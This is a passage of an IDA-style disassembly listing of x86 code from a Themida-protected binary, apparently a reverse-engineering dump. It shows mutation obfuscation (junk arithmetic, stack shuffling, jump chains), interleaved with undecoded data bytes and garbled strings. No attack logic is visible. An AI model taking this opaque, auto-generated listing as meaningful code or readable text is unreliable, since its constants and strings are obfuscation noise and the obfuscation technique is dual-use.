; ---------------------------------------------------------------------------


loc_59C02F:				; CODE XREF: Themida_:0059DF92j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59D79D
; ---------------------------------------------------------------------------


loc_59C03D:				; CODE XREF: Themida_:00598FF3j
		dec	ebx
		jno	loc_59DCA4
		add	ebx, 3CAFF774h
		mov	esi, ebx
		pop	ebx
		mov	ch, 55h
		push	esi


loc_59C050:				; CODE XREF: Themida_:005AB07Ej
		add	esp, 4
		push	edx
		mov	edx, 79F823E2h
		sub	eax, 96D02E4h
		add	eax, edx
		add	eax, 96D02E4h
		mov	edx, [esp]
		add	esp, 4
		push	62EDh
		jmp	loc_59E517
; ---------------------------------------------------------------------------
aSc_0		db ')ήι—{',0
		align 2


loc_59C082:				; CODE XREF: Themida_:005AE2B4j
		push	eax
		push	ecx
		mov	ecx, 1D330A26h
		mov	eax, 5CC35310h
		xor	eax, ecx
		pop	ecx
		jmp	loc_5A3958
; ---------------------------------------------------------------------------
		dw 65BBh
		dd 0C120BC05h, 0BA5202EBh, 65855815h, 12C2814Ah, 0F7279250h
		dd 0AEC281D2h, 1A2AEC5h, 50E95AD3h
		db 5, 1, 0
; ---------------------------------------------------------------------------


loc_59C0BB:				; CODE XREF: Themida_:0059A480j
					; Themida_:005AD933j
		add	ebp, 1C40B24h
		xor	ebp, 0B931F36h
		xor	ebp, 0B1CE7D06h
		mov	edi, ebp
		pop	ebp
		sub	edi, 2021FDEAh
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_598682
; ---------------------------------------------------------------------------
		dd offset dword_4E8E9C+0D6CCh
		dd 77DEE900h, 1C890000h, 151E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59C0F6:				; CODE XREF: Themida_:005A35F0j
		add	ebx, 4B0436E3h
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A9BB5
; ---------------------------------------------------------------------------


loc_59C110:				; CODE XREF: Themida_:loc_5A4856j
		push	esi
		push	1A63h
		mov	[esp], eax
		jmp	loc_5A760F
; ---------------------------------------------------------------------------


loc_59C11E:				; CODE XREF: Themida_:0059A8FDj
		mov	esi, [esp]
		jmp	loc_5A62D2
; ---------------------------------------------------------------------------


loc_59C126:				; CODE XREF: Themida_:005986D1j
		mov	[esp], edx
		mov	edx, 168B97B0h
		jmp	loc_5ADCCD
; ---------------------------------------------------------------------------


loc_59C133:				; CODE XREF: Themida_:0059CAE3j
		jb	loc_5A672E
		xor	ebx, 187B5BD3h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_59AB70
; ---------------------------------------------------------------------------
		db 0F7h
		dd 49BE56DDh, 812EC630h, 0EF3BCFCEh, 1FF6811Dh,	174034Fh
		dd 0B0E95EF5h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C163:				; CODE XREF: Themida_:0059DC05j
		shl	edi, 1
		not	edi
		push	ebp
		mov	ebp, 178CB79h
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_5A61E6
; ---------------------------------------------------------------------------


loc_59C177:				; CODE XREF: Themida_:005AD628j
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_5A9B83
; ---------------------------------------------------------------------------


loc_59C181:				; CODE XREF: Themida_:0059F6BBj
		not	edi
		push	ecx
		jmp	loc_5993DA
; ---------------------------------------------------------------------------
		db 57h,	53h, 0BBh
		dd 528F3F39h, 0B95BDF89h, 0E1D06FCh, 0E95FF931h, 0FFFFE63Bh
; ---------------------------------------------------------------------------


loc_59C1A0:				; CODE XREF: Themida_:loc_5A5921j
		jmp	loc_59857E
; ---------------------------------------------------------------------------


loc_59C1A5:				; CODE XREF: Themida_:00598F96j
		mov	ecx, 18BD0135h
		shl	ecx, 3
		jmp	loc_5A6245
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 1A4368h, 7419E900h, 835F0000h, 0F3E904E9h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C1C7:				; CODE XREF: Themida_:005A76F6j
		mov	edi, [esp]
		add	esp, 4
		add	eax, 720F01D5h
		push	5B65h
		jmp	loc_5A3BE7
; ---------------------------------------------------------------------------
		db 68h
		dd 7D146945h, 0FFDF6CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C1E9:				; CODE XREF: Themida_:0059B1C2j
		push	0
		sub	[esp], edx
		jmp	loc_5A09A1
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 94E1459h, 5E5D5655h,	0F587DEF7h, 6807E5C1h, 4652h, 0BE243489h
		dd 14EF62EEh, 116E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_59C219:				; CODE XREF: Themida_:005A38C7j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	loc_5A5B74
		push	dword ptr [edi+1Ch]
		jmp	loc_5A4E8A
; ---------------------------------------------------------------------------


loc_59C233:				; CODE XREF: Themida_:0059FCE5j
		sub	eax, edx
		pop	edx
		sub	eax, 60503D8Ah
		jmp	loc_5A708D
; ---------------------------------------------------------------------------
		dd 24048B66h, 535468h, 241C8900h, 62CD68h, 24248900h, 4240483h
		dd 3C5C685Bh, 4890000h,	21386824h, 48B307Fh, 4C48124h
		dd 0C1000000h, 0BE5606E8h, 0C1FC80h, 0E2E9F031h, 830000EBh
		dd 1C8904ECh, 7A9FBB24h, 28E92174h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C28F:				; CODE XREF: Themida_:0059A068j
		sub	esp, 4
		jmp	loc_5ABE71
; ---------------------------------------------------------------------------
		dw 489h
		dd 0CFBB5324h, 0B85D2462h, 5D2462CBh, 0FFE80AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C2AD:				; CODE XREF: Themida_:005ADA6Aj
		sub	bl, cl
		add	bl, 41h
		mov	ecx, [esp]
		jmp	loc_5AABA0
; ---------------------------------------------------------------------------


loc_59C2BA:				; CODE XREF: Themida_:005A018Aj
		mov	eax, 619C0540h
		sub	eax, ebp
		pop	ebp
		add	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 417B38E3h
		sub	ebx, 0D0B3F01Eh
		push	ebx
		pop	eax
		pop	ebx
		xor	edi, eax
		pop	eax
		add	esi, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		mov	ebp, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5A4092
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 46673507h, 1D3510CFh, 2506BE76h, 246B2551h, 34523540h
		dd 0FE95BBBh
		db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C32B:				; CODE XREF: Themida_:005A85C7j
		and	eax, edi
		mov	edi, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebx
		push	edi
		mov	edi, 25DF6B6Ch
		neg	edi
		jno	loc_5AA94E
		xor	edi, 45810BF3h
		mov	al, 59h
		push	edi


loc_59C34C:				; CODE XREF: Themida_:0059AA33j
		mov	ah, 6Fh
		jmp	loc_59DD88
; ---------------------------------------------------------------------------


loc_59C353:				; CODE XREF: Themida_:005A5128j
		push	eax
		mov	eax, 69103A94h
		xor	eax, 3CE4733Bh
		not	eax
		jmp	loc_59F124
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 5DE8015Ch, 0E9240433h, 567Bh, 4C481h, 0B0E90000h
		db 2Fh,	1, 0
; ---------------------------------------------------------------------------


loc_59C37F:				; CODE XREF: Themida_:005AD9B8j
		add	eax, [edx]
		pop	edx
		mov	ecx, [esp]
		push	edx
		jmp	loc_5A1DE1
; ---------------------------------------------------------------------------
a11ssuv		db '1Ε1θιγ’',0
		align 4


loc_59C394:				; CODE XREF: Themida_:0059F140j
					; Themida_:005A3371j
		pop	ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		push	6D7Ah
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 24h
		push	edx
		mov	dl, cl
		mov	bh, dl
		jmp	loc_59ADA0
; ---------------------------------------------------------------------------
		db 87h
		dd 815C240Ch, 4C3h, 0F0E95200h
		db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C3D3:				; CODE XREF: Themida_:0059D346j
		xchg	edi, [esp]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_5AEA03
; ---------------------------------------------------------------------------


loc_59C3DF:				; CODE XREF: Themida_:loc_59ED71j
					; Themida_:005A2A03j
		push	eax
		push	edx
		push	611111CAh
		mov	edx, [esp]
		add	esp, 4
		or	edx, 5CEC3CBCh
		jmp	loc_59CA20
; ---------------------------------------------------------------------------


loc_59C3FA:				; CODE XREF: Themida_:0059A526j
		push	ebp
		push	ebx
		mov	ebx, 1E6372C5h
		mov	ebp, ebx
		pop	ebx
		mov	esi, ebp
		pop	ebp
		shr	esi, 8
		jnp	loc_5AE220
		shl	esi, 2
		jns	loc_5990CD
		push	1768h
		mov	[esp], ecx
		jmp	loc_5A8507
; ---------------------------------------------------------------------------


loc_59C426:				; CODE XREF: Themida_:005A0D6Aj
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, ebx
		sub	eax, 37893787h
		sub	eax, 2E91261Eh
		push	115Fh
		jmp	loc_5AA8C2
; ---------------------------------------------------------------------------


loc_59C444:				; CODE XREF: Themida_:005AADF9j
		mov	edx, 4CD839F2h
		xor	edx, 238827A5h
		neg	edx
		or	edx, 70E00F22h
		xor	edx, 63B7052Fh
		shr	edx, 4
		xor	edx, 0F321B7Eh
		jmp	loc_59BC68
; ---------------------------------------------------------------------------


loc_59C46B:				; CODE XREF: Themida_:005A2034j
		jnp	loc_5A17C7
		xor	cl, 5Ah
		jnp	loc_5A1356
		and	al, 61h
		push	edx
		mov	edx, 46AA5C31h
		or	esi, edx
		pop	edx
		add	esi, 10050191h
		mov	edx, esi
		pop	esi
		push	ebx
		jmp	loc_5A54F0
; ---------------------------------------------------------------------------


loc_59C494:				; CODE XREF: Themida_:0059FAB6j
		pop	ebp
		pop	ecx
		neg	ebp
		jns	loc_5AD718
		jmp	loc_59F188
; ---------------------------------------------------------------------------


loc_59C4A3:				; CODE XREF: Themida_:005A0B90j
		sub	eax, 23652598h
		jmp	loc_59FA02
; ---------------------------------------------------------------------------


loc_59C4AD:				; CODE XREF: Themida_:005A2179j
		push	0AEE0C1Eh
		pop	ebp
		shl	ebp, 6
		jp	loc_59EE62
		shr	ebp, 4
		jmp	loc_5A6595
; ---------------------------------------------------------------------------


loc_59C4C4:				; CODE XREF: Themida_:005AD77Fj
		mov	eax, esp
		add	eax, 4
		jmp	loc_59850A
; ---------------------------------------------------------------------------


loc_59C4D0:				; CODE XREF: Themida_:005A421Ej
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 1BB25C56h
		or	esi, 7EBE3870h
		shl	esi, 2
		jmp	loc_5A501B
; ---------------------------------------------------------------------------
		dd 0FE6855h, 34FF0000h,	0D845E924h, 0EF81FFFFh,	51D351B1h
		dd 5CE9F801h, 81000050h, 0D217C8E5h, 448C0F18h,	81000038h
		dd 2A60AFF5h, 0E9EA893Fh, 0FFFFDEC5h
; ---------------------------------------------------------------------------


loc_59C51C:				; CODE XREF: Themida_:00599328j
		dec	eax
		add	eax, 422836E8h
		jmp	loc_5AB318
; ---------------------------------------------------------------------------


loc_59C527:				; CODE XREF: Themida_:0059F07Cj
		pop	edi
		sub	eax, 41BB43E2h
		jmp	loc_5ACF9B
; ---------------------------------------------------------------------------
aZ4IUs@		db '‡4$\‰<$UιΙ@',0
		db 0
; ---------------------------------------------------------------------------


loc_59C53F:				; CODE XREF: Themida_:00599247j
		xor	ebp, 5D1DE28Ch
		xor	esi, ebp
		pop	ebp
		and	esi, 3B1914BBh
		push	esi
		not	dword ptr [esp]
		jmp	loc_5AECC3
; ---------------------------------------------------------------------------
		db 81h
		dd 0E30395C3h, 0F800F04h, 81000030h, 0C39179EBh, 1BB951C5h
		dd 8123C036h, 657C7EE1h, 0D9F2E91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C57A:				; CODE XREF: Themida_:005992A6j
		pop	eax
		pop	edx
		pop	ecx
		push	ebp
		push	4
		pop	ebp
		jmp	loc_5A1362
; ---------------------------------------------------------------------------


loc_59C589:				; CODE XREF: Themida_:0059DFFFj
		push	ecx
		mov	ecx, 3AB0DC03h
		xor	ebp, ecx
		jmp	loc_5A30BC
; ---------------------------------------------------------------------------


loc_59C596:				; CODE XREF: Themida_:005AA8CFj
		pop	edx
		push	edi
		mov	edi, 6FD54224h
		sub	edi, 0FFFFFFFFh
		jmp	loc_5AF10D
; ---------------------------------------------------------------------------


loc_59C5A8:				; CODE XREF: Themida_:005A6863j
		not	ebp
		xchg	ebp, [esp]
		pop	edx
		xor	edx, 9BA93A1Eh
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebx
		push	ebx
		mov	ebx, 0D1578F6h
		shr	ebx, 3
		add	ebx, 352B202Fh
		jmp	loc_59E2DA
; ---------------------------------------------------------------------------
		db 0ADh, 53h, 0E9h
		dd 114ACh
; ---------------------------------------------------------------------------


loc_59C5DC:				; CODE XREF: Themida_:005AAFC9j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_59FD53
; ---------------------------------------------------------------------------


loc_59C5ED:				; CODE XREF: Themida_:005A5605j
		push	ecx
		push	2E4B1AA9h
		pop	ecx
		add	ecx, 0D1B4E55Bh
		mov	esi, ecx
		pop	ecx
		jmp	loc_5AE10E
; ---------------------------------------------------------------------------


loc_59C602:				; CODE XREF: Themida_:005AF225j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59B7D2
; ---------------------------------------------------------------------------


loc_59C60B:				; CODE XREF: Themida_:0059B9E1j
		add	esp, 4
		push	62A2h
		jmp	loc_59B8FA
; ---------------------------------------------------------------------------
		dd 4C581h, 0C5810000h, 4, 5C242C87h, 8B243487h,	3C892424h
		dd 2434FF24h, 5724148Bh, 54E9E789h, 66000016h, 68240C8Bh
		dd 297Eh, 83240489h, 248904ECh,	24048324h, 24048B04h, 4C481h
		dd 0BA520000h, 4, 0E95AD001h, 5F17h, 0D9E9AD66h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C673:				; CODE XREF: Themida_:005AB558j
		mov	ebx, [esp]
		add	esp, 4
		shr	cl, 4
		jmp	loc_5ABD7D
; ---------------------------------------------------------------------------


loc_59C681:				; CODE XREF: Themida_:0059D5E2j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5A35F5
; ---------------------------------------------------------------------------


loc_59C68B:				; CODE XREF: Themida_:005A0C86j
		pop	ecx
		inc	cl
		jp	loc_5AD2A1
		or	cl, 0D6h
		jnb	loc_599533
		jns	loc_5A279B


loc_59C6A3:				; CODE XREF: Themida_:005A202Bj
		mov	ecx, 2F682038h
		push	edx
		mov	edx, 3AC17AF8h
		shr	edx, 7
		inc	edx
		shr	edx, 4
		add	edx, 5D267E92h
		xor	edx, 593AF05Eh
		sub	ecx, edx
		pop	edx
		jmp	loc_5AA52F
; ---------------------------------------------------------------------------
		db 2 dup(46h), 0C1h
		dd 0B85006EEh, 562E3876h, 0B2E9335h, 0D0F74053h, 0E9E83148h
		dd 0FFFFFCA7h, 24ED815Ch, 103F01Dh, 24C581C5h, 5803F01Dh
		dd 261968h, 243C8900h, 6CD36851h, 0F7596F97h, 54E981D1h
		dd 0F1FB078h, 0BAC887h,	81BB5300h, 293A02A8h, 3FE95BD9h
		dd 570000CAh
; ---------------------------------------------------------------------------


loc_59C720:				; CODE XREF: Themida_:005A5BBCj
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A34FE
; ---------------------------------------------------------------------------
		dd 4244401h, 345168h, 24148900h, 10854E9h, 0F3BFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C752:				; CODE XREF: Themida_:0059D02Cj
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		jmp	loc_5A281D
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 8104C483h, 557357F1h, 0E9CF890Bh, 12A32h
; ---------------------------------------------------------------------------


loc_59C770:				; CODE XREF: Themida_:0059B0AEj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59B988
; ---------------------------------------------------------------------------


loc_59C783:				; CODE XREF: Themida_:0059D142j
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 1
		and	ecx, 6116160Dh
		add	ecx, 0FFFFFFFFh
		jmp	loc_5ADF19
; ---------------------------------------------------------------------------
		dd 100AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_59C7A1:				; CODE XREF: Themida_:005A91BEj
		pop	dword ptr [esp]
		jmp	loc_5A1485
; ---------------------------------------------------------------------------


loc_59C7A9:				; CODE XREF: Themida_:005A9568j
		mov	[esp], ax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59C7B2:				; CODE XREF: Themida_:005AA505j
		push	eax
		jmp	loc_5AB292
; ---------------------------------------------------------------------------


loc_59C7B8:				; CODE XREF: Themida_:005ABAA3j
		add	ecx, 4
		push	ebx
		mov	ebx, 2F50D7Ch
		jmp	loc_5AE6F7
; ---------------------------------------------------------------------------


loc_59C7C9:				; CODE XREF: Themida_:005A0CBCj
		push	ebp
		push	ebx
		push	342143DDh
		pop	ebx
		neg	ebx
		and	ebx, 27673683h
		xor	ebx, 3463407h
		jmp	loc_5AD01D
; ---------------------------------------------------------------------------


loc_59C7E4:				; CODE XREF: Themida_:005AF3CDj
		push	6C14h
		mov	[esp], ebp
		mov	ebp, 6D964C91h
		jmp	loc_59DA6E
; ---------------------------------------------------------------------------
		dw 8966h
		dd 6468241Ch, 89000072h, 0BD66242Ch, 87660D54h,	0D2F766D5h
		dd 66D58766h, 1B850F4Dh, 66000027h, 0EC03E945h,	5B660000h
		db 0B2h, 0B6h, 5Dh
; ---------------------------------------------------------------------------


loc_59C823:				; CODE XREF: Themida_:00598E15j
		push	esi
		jmp	loc_5A457D
; ---------------------------------------------------------------------------
		db 29h,	0C7h, 58h
		dd 8105EFC1h, 0D4109BCFh, 0D7EF8165h, 165DF30h,	243C8BFEh
		dd 4C481h, 8C680000h, 0E9000008h, 0FC5Ch
; ---------------------------------------------------------------------------


loc_59C850:				; CODE XREF: Themida_:0059B4B5j
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A2262
; ---------------------------------------------------------------------------
aIVA3l		db '‰,$VΎ 3L',0
aUBues		db 'Αξ',7,'ξe˜',0
		align 10h
		dd 348BF589h, 4C48324h,	0E968E950h, 34FF0000h, 15BCE924h
		dd 0E9810001h, 812459A8h, 3559C831h, 5C2603B3h,	69658A0Fh
		dd 37050000h, 0F29788Eh, 0D78B8Eh, 48B5400h, 0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 4689685Ch, 67E90000h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C8D3:				; CODE XREF: Themida_:0059DB76j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 66h
		dd 665EB768h, 0E9242489h, 0FFFFD95Ch, 0B8240489h, 2, 0CBE9C301h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C8FB:				; CODE XREF: Themida_:005AE475j
		not	esi
		not	esi
		jmp	loc_59E328
; ---------------------------------------------------------------------------


loc_59C904:				; CODE XREF: Themida_:005AAC04j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A3F79
; ---------------------------------------------------------------------------


loc_59C912:				; CODE XREF: Themida_:005AEC42j
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	esi
		jmp	loc_59D77D
; ---------------------------------------------------------------------------


loc_59C931:				; CODE XREF: Themida_:0059EC1Cj
		shr	ecx, 4
		js	loc_59860C
		jmp	loc_5A1AF9
; ---------------------------------------------------------------------------


loc_59C93F:				; CODE XREF: Themida_:loc_599152j
		jmp	loc_5A1269
; ---------------------------------------------------------------------------


loc_59C944:				; CODE XREF: Themida_:005A2C23j
		pop	dword ptr [esp]
		jmp	loc_5AD361
; ---------------------------------------------------------------------------


loc_59C94C:				; CODE XREF: Themida_:0059EB1Dj
		push	1513h
		push	ecx
		mov	ecx, esp
		jmp	loc_59FEBF
; ---------------------------------------------------------------------------


loc_59C959:				; CODE XREF: Themida_:005998F0j
		push	ebx
		push	ecx
		mov	ecx, 19EE1E5Ch
		mov	ebx, 5E7471F6h
		sub	ebx, ecx
		jmp	loc_5A7AE5
; ---------------------------------------------------------------------------


loc_59C96C:				; CODE XREF: Themida_:005A9E98j
		mov	ebp, [esp]
		jmp	loc_59CCF8
; ---------------------------------------------------------------------------


loc_59C974:				; CODE XREF: Themida_:005A8AD3j
		add	bl, al
		sub	bl, 0F7h
		push	eax
		mov	al, 58h
		xor	al, 75h
		jmp	loc_5A89EA
; ---------------------------------------------------------------------------


loc_59C983:				; CODE XREF: Themida_:005A84CDj
		sub	ebp, 2
		push	1BA9h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_598B42
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 0B891E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C9A2:				; CODE XREF: Themida_:0059AE62j
		jo	loc_5A746E
		shl	edi, 2
		add	edi, 1F0A2591h
		jno	loc_5A67A0
		sub	edi, 107FB628h
		push	eax
		mov	eax, edi
		jmp	loc_5A6A5F
; ---------------------------------------------------------------------------


loc_59C9C5:				; CODE XREF: Themida_:005A5E03j
		xor	edx, 5DF51856h
		shr	edx, 5
		jmp	loc_5A7D15
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4EC81h, 0C890000h, 0A70CE924h, 0F3810000h, 6FC404A0h
		dd 2006E9h, 1DEBD00h, 43E95C55h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C9F7:				; CODE XREF: Themida_:005A7F71j
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebx, ecx
		dec	ebx
		xchg	ebx, ecx
		jmp	loc_5AADF8
; ---------------------------------------------------------------------------


loc_59CA0C:				; CODE XREF: Themida_:0059F7BFj
					; Themida_:005A15B5j
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_5AC96C
; ---------------------------------------------------------------------------


loc_59CA16:				; CODE XREF: Themida_:0059FC71j
		add	esp, 4


loc_59CA19:				; CODE XREF: Themida_:005A083Cj
					; Themida_:005AF378j
		push	ebp
		push	esp
		jmp	loc_5AD40B
; ---------------------------------------------------------------------------


loc_59CA20:				; CODE XREF: Themida_:0059C3F5j
		jp	loc_5A80C4
		sub	edx, 1C026C0Fh
		jmp	loc_5A83A4
; ---------------------------------------------------------------------------


loc_59CA31:				; CODE XREF: Themida_:005A87FEj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_5A0855
; ---------------------------------------------------------------------------


loc_59CA47:				; CODE XREF: Themida_:0059F8FCj
		mov	edx, 0B275D86h
		shr	edx, 7
		add	edx, 4FC77B85h
		js	loc_59CADD
		or	edx, 278A2ECBh
		jz	loc_5AE220
		shr	edx, 2
		jns	loc_5AA622
		push	esi
		jmp	loc_5A6B85
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4
		db 54h
; ---------------------------------------------------------------------------


loc_59CA7D:				; CODE XREF: Themida_:005A2E8Ej
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ch, 38h
		add	ch, 39h
		push	ebx
		mov	bh, 0D7h
		not	bh
		xor	bh, 4Ah
		or	bh, 0E3h
		add	bh, 57h
		jmp	loc_5A8F30
; ---------------------------------------------------------------------------


loc_59CA9D:				; CODE XREF: Themida_:005A7FDBj
		sub	eax, 90D0F360h
		mov	edi, eax
		pop	eax
		xor	edi, 4D453918h
		jmp	loc_5A23F5
; ---------------------------------------------------------------------------
		dd 0FFBFD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CAB5:				; CODE XREF: Themida_:0059995Aj
		mov	ecx, esp
		push	eax
		push	edx
		jmp	loc_5A8E67
; ---------------------------------------------------------------------------


loc_59CABE:				; CODE XREF: Themida_:005A8943j
		mov	ebp, 3103048Ch
		dec	ebp
		xor	ebp, 6759285Fh
		sub	eax, ebp
		jmp	loc_5A722F
; ---------------------------------------------------------------------------


loc_59CAD1:				; CODE XREF: Themida_:0059A6D5j
					; Themida_:005A3399j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5A7851
; ---------------------------------------------------------------------------


loc_59CADD:				; CODE XREF: Themida_:0059994Dj
					; Themida_:0059CA55j
		or	edx, 278A2ECBh
		jz	loc_59C133
		shr	edx, 2
		jns	loc_5A7794
		jmp	loc_59B079
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 5A3A2C04h
; ---------------------------------------------------------------------------


loc_59CB00:				; CODE XREF: Themida_:005A48FEj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59CB05:				; CODE XREF: Themida_:005AA67Fj
		add	ecx, edi
		jmp	loc_59B6C9
; ---------------------------------------------------------------------------


loc_59CB0C:				; CODE XREF: Themida_:005A0816j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59F145
; ---------------------------------------------------------------------------
		db 0Fh,	86h, 0F1h
		dd 8100011Ah, 4ECh, 243C8900h, 0E7DB951h, 0BA520CA2h, 56F55BA1h
		dd 0A4A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_59CB39:				; CODE XREF: Themida_:005ACF6Ej
		push	eax
		not	dword ptr [esp]
		jmp	loc_5A43C8
; ---------------------------------------------------------------------------


loc_59CB42:				; CODE XREF: Themida_:005AD8A6j
		neg	dword ptr [esp]
		pop	ebp
		push	0
		sub	[esp], ebp
		jmp	loc_5A7C0E
; ---------------------------------------------------------------------------


loc_59CB53:				; CODE XREF: Themida_:00599DEBj
		xor	dh, 0F5h
		add	bl, 97h
		add	bl, dh
		sub	bl, 97h
		mov	edx, [esp]
		jmp	loc_5A724A
; ---------------------------------------------------------------------------


loc_59CB66:				; CODE XREF: Themida_:0059B39Ej
		mov	dl, 2
		not	dl
		jmp	loc_5A1657
; ---------------------------------------------------------------------------


loc_59CB6F:				; CODE XREF: Themida_:005A77CCj
		mov	dl, 2Ah
		sub	al, 2Dh
		push	edx
		mov	dh, 6Fh
		or	dh, 6Eh
		jmp	loc_5A8F6B
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C2h, 0B0C0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59CB8A:				; CODE XREF: Themida_:005A8D6Bj
		pop	eax
		push	7079h
		mov	[esp], edx
		push	4
		mov	edx, [esp]
		push	4088h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59ED48
; ---------------------------------------------------------------------------


loc_59CBB0:				; CODE XREF: Themida_:005AB3C2j
		xor	edx, 0A7E79CDEh
		mov	ecx, edx
		push	dword ptr [esp]
		jmp	loc_5A1E26
; ---------------------------------------------------------------------------


loc_59CBC0:				; CODE XREF: Themida_:005A8502j
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 1
		push	ebx
		jmp	loc_5A2733
; ---------------------------------------------------------------------------


loc_59CBD2:				; CODE XREF: Themida_:005A603Bj
		add	ecx, ebp
		pop	ebp
		jmp	loc_59A1D6
; ---------------------------------------------------------------------------
		dw 0F796h
		dd 0E99696D0h, 13CCh
; ---------------------------------------------------------------------------


loc_59CBE4:				; CODE XREF: Themida_:005A7D6Ej
		mov	dh, 8Fh
		add	dh, 82h
		neg	dh
		add	dh, 50h
		shr	dh, 1
		jmp	loc_5AF051
; ---------------------------------------------------------------------------


loc_59CBF5:				; CODE XREF: Themida_:005A68AAj
		not	edx
		not	edx
		or	edx, 2BB24DFEh
		jle	loc_5AD8AB
		sub	edx, 3C8B7D1Eh
		sub	edx, 76DD20F7h
		xor	edx, 0BB5FDE92h
		xor	edx, 4A40084Ah
		sub	edx, 0FFFFFFFFh
		add	edx, 2E252584h
		push	ebp
		mov	ebp, 62732856h
		jmp	loc_598D58
; ---------------------------------------------------------------------------


loc_59CC34:				; CODE XREF: Themida_:0059A5E3j
		xor	cl, bh
		pop	ebx
		add	cl, dl
		jmp	loc_5A3441
; ---------------------------------------------------------------------------


loc_59CC3E:				; CODE XREF: Themida_:005A5BD4j
		mov	ebp, 3C3D2351h
		sub	ebp, 62332895h
		jmp	loc_59B1A6
; ---------------------------------------------------------------------------


loc_59CC4E:				; CODE XREF: Themida_:0059B9D8j
		xor	esi, edx
		jmp	loc_5A820C
; ---------------------------------------------------------------------------


loc_59CC55:				; CODE XREF: Themida_:005AF528j
		inc	bh
		jmp	loc_598E5C
; ---------------------------------------------------------------------------
		dd 0EAC1D2F7h, 1BFDE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


